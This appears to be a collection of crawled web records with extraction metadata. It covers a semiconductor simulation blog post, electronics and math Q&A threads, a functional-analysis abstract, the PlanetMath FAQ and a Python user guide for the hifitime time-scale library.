$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=8$$ | 2021-07-23 16:11:28 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9742372632026672, "perplexity": 270.7423239067721}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046149929.88/warc/CC-MAIN-20210723143921-20210723173921-00160.warc.gz"} |
https://kgreresearch.wordpress.com/2010/12/10/droplet-size-experiments-part-6-low-temperature-and-arrhenius-plots/ | # Kris's Research Notes
## December 10, 2010
### Droplet Size Experiments — Part 6. Low Temperature and Arrhenius Plots
Filed under: GaAs Simulations — Kris Reyes @ 2:38 am
This is a follow up to this post. Here we repeat the droplet size experiments, but include lower temperatures. We also consider different intra-droplet bonding energies and present Arrhenius plots of droplet size with respect to inverse temperature.
Specifically, we now consider the experiments where parameters range as:
$\gamma = \gamma(G0,G0) \in \left\{ 0.29, 0.30, 0.35, 0.40\right\} eV,$
$T \in \left\{ 350, 375, 400, \hdots, 575, 600\right\} K$,
$r_{\downarrow Ga} \in \left\{ 0.1, 0.2, 0.3, 0.4\right\}$ monolayers/sec.
For each triple $(\gamma, T, r_{\downarrow Ga})$, we perform 16 trials, where 4.0 monolayers of $Ga$ are deposited, after which we anneal the system for 30 seconds. We then measure droplet width, height and mass, and the number of droplets. The 16 trials yield a histogram for each statistic as well as an averaged autocorrelation function for the height profile of the system.
Here are the plots of these statistics as functions of specific parameters:
## Varying $\gamma$
Here are plots where $\gamma$ varies while the other two parameters $(T, r_{\downarrow Ga})$ are fixed. Here is the average droplet width, as given by the histogram (left), and autocorrelation function (where it interesects $\frac{1}{e}$, right). Each curve in the plots correspond to a fixed $( T, r_{\downarrow Ga})$ pair.
The two plots are in qualitative agreement. There is a downward trend as intra-droplet bond strengths increase. Consider the case $(T, r_{\downarrow Ga}) = (525, 0.25)$ — the green line with open circles. Here are the simulations (on a truncated lattice of width 1024 atoms) as we vary $\gamma$:
$\gamma (eV)$ $0.29$ $0.30$ $0.35$ $0.40$ movie movie movie movie
We note that that as the intra-droplet strength increases, the shape of the islands become more triangular.
Here are plots of height and mass of droplets as a function of $\gamma$:
There seems to be two types of behavior within each plot. For example, in the mass vs. bond strength plot, there are some curves which increase mass between $\gamma = 0.29 eV$ and $0.30 eV$, while other curves decrease between these two energies. Here are simulations for two curves. First is the curve with fixed parameters $(T, r_{\downarrow Ga}) = (600, 0.1)$ — the green dash-dot line — which increases between the two energies. Second has fixed parameters $(0.2, 600)$ — the blue dashed line with open circles — which is monotone decreasing.
$(T, r_{\downarrow Ga}) \backslash \gamma (eV)$ 0.29 0.30 0.35 0.40 $(600, 0.1)$ movie movie movie movie $(600, 0.2)$ movie movie movie movie
Finally, here is number of droplets vs bonding energy:
The typical trend is an increase in number of droplets as bonding-energy increases. There are a few pathological cases where the number of droplets decrease — the $(350, 0.4)$ is most exaggerated. Here are the simulations for this case:
$(T, r_{\downarrow Ga}) \backslash \gamma (eV)$ 0.29 0.30 0.35 0.40 $(350, 0.4)$ movie movie movie movie
In fact, droplets don’t actually form — the Gallium wets the surface completely. The behavior is similar for most of the low-temperature runs.
## Varying $r_{\downarrow Ga}$
Here are the plots of droplet width, height and mass, as calculated from the histograms. Each curve corresponds to a fixed $(\gamma, T)$ pair.
We see there is a general trend for smaller droplets as Ga flux increases.
Here is number of droplets as a function of flux.
Again, we note the low temperature cases are pathological.
## Varying $T$ and Arrhenius Plots
Here are Arrhenius plots of droplet statistics vs. inverse temperature. First are width, height and mass:
Here is the plot for the number of droplets vs. inverse temperature:
This follows the behavior we discussed last time: The plots are linear in the high temperature regime and approaches a constant value for lower temperatures. | 2018-06-20 10:52:35 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 31, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.754443883895874, "perplexity": 1200.0251856435489}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267863518.39/warc/CC-MAIN-20180620104904-20180620124904-00135.warc.gz"} |
https://electronics.stackexchange.com/questions/148719/why-ohmic-losses-increase-with-resistance | # why ohmic losses increase with resistance?
Electrical newbie here. I'm trying to get understanding how is resistance involved with power dissipation (ohmic losses, eg. heating). Primarily I'm looking at Electromagnet coil, it says the losses are $P=I^2R$, so reducing resistance R reduces heating power loss P, which sounds reasonable as it comes from (I assume):
$P=UI$ and Ohm's law $I=\frac{U}{R}$ (and thus $U=IR$), so by substituting U we get $P=UI=(IR)I=I^2R$
But, if one substitutes I instead, he'd get $P=UI=U(\frac{U}{R})=\frac{U^2}{R}$. Which seems to tell me, that with stable voltage source U one would get lower power loss (heating) with increased resistance R!
Which unfortunately also makes sense to me from empiric point of view: If I connect very high value resistor (or its equivalent - a veeery long wire) across 230V line, it would only heat a little, and I put very low value resistor across 230V line, it would heat so much it would burn (which I guess is what fuses do for living). (replace 230V AC with 9V DC battery if AC/DC distinction matters here)
So I guess I'm missing something basic - would increasing resistance reduce or increase power losses? Or is wire in "put it in 230V socket" example behaving completely different that wire in electromagnet example (and if so, why?)
• A simple reason (barring coil etc stuff ; from electrical POV) : Increasing resistance decreases current through it and vice versa ; So using both the equations, power dissipated decreases. Jan 12 '15 at 3:04
• Thanks @Plutoniumsmugglerwithhat: yes you're right, $I^2$ from $I^2R$ actually contains $\frac{1}{R^2}$ inside, so it actually makes is inversely proportional to R too, as in the $\frac{U^2}{R}$. So higher resistance would actually mean lower power losses in transformer (opposite to what wikipedia on first sight says), but it would also mean lower current and thus weaker magnetic field (which one usually doesn't want). Makes sense now! Jan 12 '15 at 3:22
• In one case you're holding voltage constant, in the other you're holding the magnetic field constant and reducing the voltage proportionally . Since the power is proportional to $V^2$ (P = V^2/R), the power drops with dropping resistance. Jan 12 '15 at 2:59 | 2021-12-02 06:42:30 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8514435291290283, "perplexity": 1529.3307990682151}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964361169.72/warc/CC-MAIN-20211202054457-20211202084457-00034.warc.gz"} |
https://math.stackexchange.com/questions/943480/which-was-defined-first-to-represent-underbraceaaa-cdotsaaa-n-text | # Which was defined first to represent $\underbrace{a+a+a+\cdots+a+a+a}_{n \text{ terms}}$? $n\times a$ or $a \times n$?
When we are talking about multiplication, we often use it without knowing which one was defined first and which one was defined because of its commutative property.
Here I want to know which one was defined first?
$$\underbrace{a+a+a+\cdots+a+a+a}_{n \text{ terms}} \equiv n \times a$$
or
$$\underbrace{a+a+a+\cdots+a+a+a}_{n \text{ terms}} \equiv a \times n$$
?
• I personally prefer $n\times a$, but in the school it was taught just the other way... I'm still confused:) – Berci Sep 23 '14 at 21:28
• Defined first by whom? You can probably find both definitions, as well as symmetric definitions such as "$ab$ is the area of a rectangle with sides $a,b$". Older sources probably don't have any definition at all. – Yuval Filmus Sep 23 '14 at 21:38
• Alright. For the egg to be there, there had to be a chicken to lay it. However, that chicken had to hatch from an egg. – Will Jagy Sep 23 '14 at 21:46
The fact that multiplication is commutative makes the question not have any particularly meaningful answer - we can define it either way and derive that the other way is correct as well. In fact, we could, given addition, define the multiplication of integers by the properties: $$(a_1+a_2)(b_1+b_2)=a_1b_1+a_2b_1+a_1b_2+a_2b_2$$ $$1\cdot 1=1.$$ $$1\cdot -1=-1\cdot 1=-1.$$ Which is entirely symmetric and can quickly be seen to uniquely define the operation of multiplication. Obviously, given the symmetry of the definition, this makes multiplication commutative - but moreover, since we can supply an entirely symmetric definition, it makes the question of which definition was "first" meaningless, since we can define things in which neither is first, and neither is implicit in being first.
That aside, perhaps your intention is not purely about the values that multiplication takes or its algebraic properties, but rather something more general. Like, if you wish to be consistent across hyperoperators, note that: $$a^b = \underbrace{a\cdot\ldots\cdot a}_{b\text{ times}}$$ so, perhaps the first definition you give is better in that since, as the left operand controls the value in the sum and the right one controls how many sums are taken. (Historically, I'll bet that both definitions showed up independently, and the fact that they were equivalent was understood before the modern notation of multiplication showed up)
While this doesn't directly address the 'which came first' question, I think it's worth pointing out an implicit assumption in the original question:
Multiplication is commutative over natural numbers, but it's not over ordinals; there $a\cdot b$ has a specific meaning, and roughly corresponds to $b$ copies of $a$ 'laid head to toes' — in other words, $a+a+a+\cdots+a$. In particular, $\omega\cdot 2\equiv \omega+\omega$ is two copies of $\omega$ (i.e., the natural numbers) with an order such that every element of the 'second' copy of $\omega$ is greater than ever element of the first; it looks like $\langle 0_0, 1_0, 2_0, \ldots, 0_1, 1_1, 2_1, \ldots\rangle$. On the other hand, $2\cdot\omega\equiv 2+2+2+\cdots$ is $\omega$ copies of $2$ next to each other - and this is precisely the order $\omega$ itself ($2\cdot\omega$ is $\langle0_0, 1_0, 0_1, 1_1, 0_2, 1_2, \ldots\rangle$, and it's easy to find an order-preserving mapping from this to $\langle 0, 1, 2, 3, 4, 5, \ldots\rangle$).
Something multiplied by a number... that something does not have to be a number, it can be a length, an area, an event
I would think that "$a$ multiplied by $m$, or $a$ taken $m$ times, or $a$ $m$ times, these should be written as $a \times m$.
However $m$ times $a$ should be written as $m \times a$.
The answer may also depend on the language, tradition, point of view.
Interesting question.
It seemed to me there would have been a method used by the Romans to perform multiplication. Their method might as well be taken as "first". So I searched and found the following. The order of 'a x n' in practice is the smaller number first.
"For example, you want to find 58 × 249. Write the two numbers next to one another; then double one and halve the other. (It is preferable, though not mandatory, to halve the smaller and double the larger.) If in halving there is a remainder, ignore it. Repeat the process until the number in the halving column is reduced to 1. Then in the doubling column cross out every number that stands opposite to an even number in the halving column, and sum up the rest. The sum is exactly the required product: "
58 249
29 498
14 996
7 1992
3 3984
1 7968
sum the right side (not crossed out)
14442 = 58 × 249 | 2019-12-14 18:49:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9127480983734131, "perplexity": 370.380632446924}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575541288287.53/warc/CC-MAIN-20191214174719-20191214202719-00526.warc.gz"} |
http://mfat.imath.kiev.ua/article/?id=552 | Open Access
# Factor representations of infinite semi-direct products
### Abstract
In this article, we propose a new method to study unitary representations of inductive limits of locally compact groups. For the group of infinite upper triangular matrices, we construct a family of type III factorial representations. These results are complements to previous results of A. V. Kosyak, and Albeverio and Kosyak [1, 5].
### Article Information
Title Factor representations of infinite semi-direct products Source Methods Funct. Anal. Topology, Vol. 17 (2011), no. 2, 180-192 MathSciNet MR2849478 Copyright The Author(s) 2011 (CC BY-SA)
### Authors Information
R. Zekri
Institut de Mathematiques de Luminy, Universite de la Mediterranee, Faculte des sciences de Luminy, 163, Avenue de Luminy, 13288, Marseille Cedex 09, France
### Citation Example
R. Zekri, Factor representations of infinite semi-direct products, Methods Funct. Anal. Topology 17 (2011), no. 2, 180-192.
### BibTex
@article {MFAT552,
AUTHOR = {Zekri, R.},
TITLE = {Factor representations of infinite semi-direct products},
JOURNAL = {Methods Funct. Anal. Topology},
FJOURNAL = {Methods of Functional Analysis and Topology},
VOLUME = {17},
YEAR = {2011},
NUMBER = {2},
PAGES = {180-192},
ISSN = {1029-3531},
URL = {http://mfat.imath.kiev.ua/article/?id=552},
} | 2017-11-23 20:27:13 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21316957473754883, "perplexity": 3917.0857819112794}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-47/segments/1510934806939.98/warc/CC-MAIN-20171123195711-20171123215711-00644.warc.gz"} |
https://planetmath.org/theplanetmathfaq1 | # The PlanetMath FAQ
The PlanetMath FAQ
## 1 General Questions
### 1.1 What is PlanetMath?
PlanetMath is a free, collaborative, online mathematics encyclopedia. The stress is on peer review, rigour, openness, pedagogy, real-time content, interlinked content, and community-drivenness.
### 1.2 Is PlanetMath anything like Wikipedia (or wiki software in general)?
Yes. PlanetMath contains a set of interlinked concepts which derive meaning from both their content and their connections. The interlinking is exposed as hyperlinks. The “meaning” of a node is not just its textual content, but also its position in the network.
But PlanetMath is different from wikis in some important regards. First and foremost, the default model of content authorship is that of object “ownership”, where a single person acts as the gatekeeper to the object’s content. However, you can also make your articles world-editable, or editable only by a specific set of co-authors.
### 1.3 Is PlanetMath competing with MathWorld?
PlanetMath was started in 2001, when MathWorld was taken offline in the course of legal proceedings against its author. At that time, we assumed that there would be no MathWorld anymore. The goal was then not to compete with MathWorld, but to make up for its absence with something that wasn’t susceptible to the same pitfalls.
In order to generate a lot of content quickly and efficiently, it was obvious that collaboration was needed, so this made PlanetMath a horse of a different colour right from the start. Now that MathWorld is back, you have at least two choices for finding mathematical reference material online. We believe PlanetMath is more attractive to contributors because of our open licensing policy.
### 1.4 How do PlanetMath’s goals differ from MathWorld’s?
Both PlanetMath and MathWorld have as a goal to be a comprehensive online encyclopedia of mathematics. PlanetMath is built for collaborative authoring and peer-review. It is a “bazaar” instead of a “cathedral” (if you’re into Raymondite terminology). The guiding philosophy of the site’s design is that the community can “police itself.”
Another important goal of PlanetMath is to be immune from the courtroom, and to provide agreeable intellectual property rights to contributors. This is achieved through the Creative Commons Attribution-ShareAlike license, which allows contributors to retain rights to their contributions, and allows PlanetMath.org (and others) to retain rights to a copy.
This approach shifts emphasis to be on sharing knowledge.
### 1.5 Is there a downloadable version of the PlanetMath encyclopedia?
There should be. Historically, a daily snapshot of the website, containing both LaTeX, HTML, and PDF has been available. Right now the snapshot-generating system is broken.
The content of the site has also been made available as a large PDF file suitable for printing (if you have a lot of paper). However, this hasn’t been attempted in a while. You can still find copies of the Free Encyclopedia of Mathematics online, however, and new versions will be created when we have time.
### 1.6 Do I need to know TeX/LaTeX to write a PlanetMath entry?
It’s strongly recommended. However, LaTeX is not hard to learn, and we have provided an easy way to view the source code of any existing PlanetMath entry to faciliate learning how to write mathematics in TeX. A PlanetMath-specific LaTeX guide can can be found as a “Site Doc”.
There are also quite a few good online references and tutorials for TeX and LaTeX:
### 1.7 Who can contribute?
Anyone can make an account and immediately start creating entries. Of course, if you can’t take constructive criticism, you might want to reconsider.
### 1.8 Who reviews content, and how?
Anyone who wants to. The chief means of peer review is via the corrections system. Anyone can submit corrections (of type addendum or erratum) to any entry. Points are given for accepted corrections, providing a means of crediting the reviewing party’s contribution.
It is up to the author to determine of a correction is worth accepting. However, corrections are always available for viewing. If a correction is either wrongly accepted or rejected, others may notice this and file further corrections.
### 1.9 Who owns contributed material?
The authors of content retain all rights they posses by law. By joining PlanetMath, they also agree to license to PlanetMath all content they submit to the site. Under this arrangement, authorship recognition must be preserved, but aside from that, anybody can make digital copies, print versions, or hard copy duplicates. Anybody can set up their own web site with content from PlanetMath. Anybody can sell compilations of that content. For more details, see the Creative Commons Attribution-ShareAlike license.
### 1.10 How can I help the project – financially or otherwise?
Please see our page on supporting PlanetMath.
## 2 Usage Questions
### 2.1 How can I contribute?
1. 1.
Make an account.
2. 2.
Browse around, get a feel for the site.
3. 3.
Read the New User documentation.
4. 4.
Log in, click on “Encyclopedia” under “add”, in your user box.
5. 5.
Write your entry. Have a LaTeX guide handy, if you don’t already know LaTeX.
6. 6.
Preview, submit.
### 2.2 How do I know what content has already been added?
You don’t really need to, other than to avoid directly duplicating a concept someone else has already written an entry for. However, this can be avoided by simply using the search engine. In addition, the system will provide a warning at entry-adding time if the title of your entry is suspiciously similar to the title of an existing entry.
Aside from this, many people are worried about how they can possibly hyperlink their entries to others without knowing which things have been defined in PlanetMath already. Luckily you don’t have to know this at all – PlanetMath is designed to do the reference linking between entries automatically, and instantly.
This works both ways: not only will your entries immediately link to existing PlanetMath entries, but when new entries are added for concepts mentioned in your entry, your entry will actually be updated to link to them. The end result is that each person can be ignorant of the contents of the actual corpus (up to intent to add new entries.)
For more information about the automatic reference linking, see the expository document on Automatic Reference Linking and the User Linking Controls guide.
The reason this system works is that the particular content of PlanetMath is not novel – it’s all concepts that have already been thought of, that are well-known, and that are known by consistent handles. In general semantic net frameworks where new knowledge is formulated, there is less of a need for automatic linking, and this is less possible since concepts don’t have well-known handles. Hence this isn’t a big priority for “brain-storming” type Wiki-systems.
### 2.3 How do I view the TeX source of an entry?
Use the Source tab that comes with every article.
### 2.4 How do I include diagrams in my entry?
Note that this question is not the same as “How do I include pictures in my entry?” For our purposes, diagrams are logical figures, and are (or should be) scale and resolution-invariant.
This means that for diagrams, it is preferable to utilize a logical, description-based format, instead of a raster image (array of values representing pixels.)
For PlanetMath, the most useful of these formats are XY-pic and EPS (encapsulated postscript).
XY-pic is a language for describing figures directly within your TeX markup. This means you don’t need to include separate files for images. XY-pic excels at simple geometric diagrams and array-based diagrams with arrows and lines of various styles between elements. You can see an example of XY-pic usage (and the source) on PlanetMath here.
EPS is a variant of the postscript language which is understood by LaTeX. EPS files are separate from TeX source and are included via the \includegraphics directive. EPS is almost never generated by hand. Under unix, a good program for generating EPS files is xfig. In windows, try Mayura Draw (both programs are free). Here and here are examples of figures generated by the EPS method in xfig and Mayura draw, respectively.
You can upload graphics files to the gallery, and then include them by writing \includegraphics{FILENAME}.
### 2.5 I am having trouble reading an entry because the TeX is not displaying correctly. What do I do?
Post a comment and we’ll look into it.
Title The PlanetMath FAQ ThePlanetMathFAQ1 2013-05-17 12:22:55 2013-05-17 12:22:55 mathwizard (128) unlord (1) 4 mathwizard (1) Definition | 2019-10-24 02:02:55 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.40741539001464844, "perplexity": 2263.984288167086}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987838289.72/warc/CC-MAIN-20191024012613-20191024040113-00179.warc.gz"} |
https://nyxspace.com/hifitime/python/ | # Python user guide
This is the Python user guide to hifitime.
## Usage¶
Hifitime is available on PyPI. To install it, you can use pip or another Python package manager like poetry, pipenv, or any other one.
pip install hifitime
To use Epochs, Durations, Timescales, and Timeseries, just import them as needed:
from hifitime import Epoch, Duration, TimeScale, TimeSeries
## Examples¶
Possibly the best way to get started after installing the package is to look at two example scripts:
• basic.py shows a typical workflow from initialization of an Epoch from the system's clock to printing it in different time scales
• timescales.py shows how to use hifitime to compute differences between Epochs in different time scales and how to plot these differences with plotly 1
## Epoch initialization¶
The default constructor for Epoch in Python is from a string.
Just like in the Rust library, this can be an RFC3339 representation:
>>> print(Epoch("1994-11-05T13:15:30Z"))
1994-11-05T13:15:30 UTC
Where the time delimiter T can be replaced by a space ...
>>> print(Epoch("1994-11-05 13:15:30Z"))
1994-11-05T13:15:30 UTC
Where the UTC identifier Z can be omitted (defaults to UTC):
>>> print(Epoch("1994-11-05 13:15:30"))
1994-11-05T13:15:30 UTC
Or with an offset from UTC:
>>> print(Epoch("1994-11-05 13:15:30-05:00"))
1994-11-05T18:15:30 UTC
>>>
If the format is unknown, it'll throw an error. In the following example, the dashes between the year, month, and day are missing, so hifitime will complain.
>>> print(Epoch("1994 11 05 13:15:30-05:00"))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Exception: ParseError: UnknownFormat
>>>
### In a specific time scale¶
The main advantage of hifitime is that it supports several astronomical time scales. So it's also important to be able to initialize a new epoch from a Gregorian date in those time scales.
In this example, all of these epochs actually represent the same UTC date.
>>> epoch_tt = Epoch("2022-09-06T23:25:38.184000000 TT")
>>> epoch_et = Epoch("2022-09-06T23:25:38.182538909 ET")
>>> epoch_tdb = Epoch("2022-09-06T23:25:38.182541259 TDB")
>>> print(f"{epoch_tt}\n{epoch_et}\n{epoch_tdb}")
2022-09-06T23:24:29 UTC
2022-09-06T23:24:29 UTC
2022-09-06T23:24:29 UTC
### From the SPICE representation¶
NAIF SPICE supports Modified Julian Days and Seconds representation past J2000, and so does hifitime.
>>> print(Epoch("SEC 66312032.18493909 TDB"))
2002-02-06T23:59:28.000000257 UTC
>>> print(Epoch("MJD 58985.5 UTC"))
2020-05-16T12:00:00 UTC
>>> print(Epoch("MJD 58985.5 TAI"))
2020-05-16T11:59:23 UTC
>>>
All of the initializers from Rust are also exist in Python, but instead of being from_blahblah they are called init_from_blahblah.
>>> Epoch.init_from_gregorian_utc_hms(1994, 11, 5, 13, 15, 30)
1994-11-05T13:15:30 UTC
>>> Epoch.init_from_gregorian_tai_hms(1994, 11, 5, 13, 15, 30)
1994-11-05T13:15:01 UTC
>>>
## Converting into another time scale¶
One of the main uses of hifitime is converting between time scales. Hifitime enables you to convert between UTC, TT, TAI, ET, JDE, GPST, and UNIX time scales, represented as centuries, days, hours, minutes, seconds, milliseconds, microseconds, or nanoseconds.
Most of the time, you'll likely need to find the ET or TDB representation
Important
Recall that in Hifitime, ET and TDB are different time scales. In SPICE, ET is actually TDB without the short fluctuations. Hifitime makes sure that its definition of ET exactly matches the SPICE ET (i.e. TDB without fluctuations). For high precision TDB, use the TDB time scale.
>>> leap_day_2000 = Epoch.init_from_gregorian_utc_hms(2000, 2, 29, 14, 57, 29)
>>> leap_day_2000.to_tdb_seconds()
5108313.185384022
>>> leap_day_2000.to_et_seconds()
5108313.185383182
>>> leap_day_2000.to_jde_et_days()
2451604.123995201
>>>
## Converting into another time unit¶
Hifitime supports leap seconds in the UTC representation. This is supported by allowing for UTC dates that have 60 as the second count.
In the following example, we want the number of centuries past the ET reference for the provided UTC date, that is on the leap second itself:
>>> leap_second_2016 = Epoch("2016-12-31T23:59:60 UTC")
>>> leap_second_2016.to_et_duration().to_unit(Unit.Century)
0.17000686559938963
>>>
So there are 0.1700 ... centuries between the leap second of 01 January 2017 and J2000, because the ET reference is J2000.
But the TAI reference epoch is J1900, so the same call will return the information nearly a whole centuries before:
>>> leap_second_2016.to_tt_duration().to_unit(Unit.Century)
1.1699931763454763
You can do this with any of the durations defined in hifitime:
>>> dir(Unit)
['Century', 'Day', 'Hour', 'Microsecond', 'Millisecond', 'Minute', 'Nanosecond', 'Second', ...]
## Epoch arithmetics¶
The arithmetics on Epochs are done in the time scales used at initialization. For example, adding 10 seconds to an epoch defined in the TAI time scale will lead to a different epoch than adding 10 seconds to an epoch defined in the ET time scale (because ET is a dynamical time scale where one second in ET is not the same as one second in TDB).
### Epoch differences¶
Epoch time differences are supported in Python starting with version 3.6.0 using the method timedelta.
e1 = Epoch.system_now()
e3 = e1 + Unit.Day * 1.5998
epoch_delta = e3.timedelta(e1)
assert epoch_delta == Unit.Day * 1 + Unit.Hour * 14 + Unit.Minute * 23 + Unit.Second * 42.720
print(epoch_delta)
### Arithmetics in different time scales¶
Noon UTC after the first leap second is in fact ten seconds after noon TAI. Hence, there are as many TAI seconds since Epoch between UTC Noon and TAI Noon + 10s.
pre_ls_utc = Epoch.init_from_gregorian_utc_at_noon(1971, 12, 31)
pre_ls_tai = pre_ls_utc.in_time_scale(TimeScale.TAI)
Before the first leap second, there is no time difference between both epochs (because only IERS announced leap seconds are accounted for by default).
>>> pre_ls_utc
1971-12-31T12:00:00 UTC
>>> pre_ls_tai
1971-12-31T12:00:00 UTC
When add 24 hours to either of the them, the UTC initialized epoch will increase the duration by 36 hours in UTC, which will cause a leap second jump. Therefore the difference between both epochs then becomes 10 seconds.
>>> pre_ls_utc + Unit.Day * 1.0
1972-01-01T12:00:00 UTC
>>> pre_ls_tai + Unit.Day * 1.0
1972-01-01T11:59:50 UTC
>>>
## Duration initializations, time units, and frequency units¶
Time units and frequency units are trivially supported. Hifitime only supports up to nanosecond precision (but guarantees it for 64 millennia), so any duration less than one nanosecond is truncated.
In Python, a Duration can be initialized from a Unit multiplied by a number, either an integer or a float.
>>> Unit.Century * 0.7598
27751 days 16 h 40 min 48 s
>>> Unit.Day * 0.7598
18 h 14 min 6 s 720 ms
>>> Unit.Hour * 0.7598
45 min 35 s 280 ms
>>> Unit.Minute * 0.7598
45 s 588 ms
>>> Unit.Second * 0.7598
759 ms 800 μs
>>> Unit.Millisecond * 0.7598
759 μs 800 ns
>>> Unit.Microsecond * 0.7598
759 ns
>>>
## Iterating over epochs with TimeSeries ("linspace" of epochs)¶
Finally, hifitime provides a TimeSeries structure which allows you to evenly iterate between two epochs at a fixed step.
>>> start = Epoch.system_now() - Unit.Day * 1
>>> end = Epoch.system_now()
>>> ts = TimeSeries(start, end, Unit.Hour * 3, True)
>>> ts
TimeSeries [2022-10-17T23:24:21.458805760 UTC : 2022-10-18T23:24:28.418497024 UTC : 3 h]
>>> for epoch in ts:
... print(f"{epoch}")
...
2022-10-17T23:24:21.458805760 UTC
2022-10-18T02:24:21.458805760 UTC
2022-10-18T05:24:21.458805760 UTC
2022-10-18T08:24:21.458805760 UTC
2022-10-18T11:24:21.458805760 UTC
2022-10-18T14:24:21.458805760 UTC
2022-10-18T17:24:21.458805760 UTC
2022-10-18T20:24:21.458805760 UTC
2022-10-18T23:24:21.458805760 UTC
>>>
Important
Iterating over a time series will consume it, i.e., it can only be used once!
# Continued from above
2022-10-18T20:24:21.458805760 UTC
2022-10-18T23:24:21.458805760 UTC
>>> for epoch in ts:
... print(f"{epoch}")
...
>>> # Nothing is printed because the time series has been fully consumed!
If you need to iterate over the same durations several times, you'll need to reinitialize it. Note that a TimeSeries is a lazy structure: each epoch is generated when requested, so the size of a time series object is quite small.
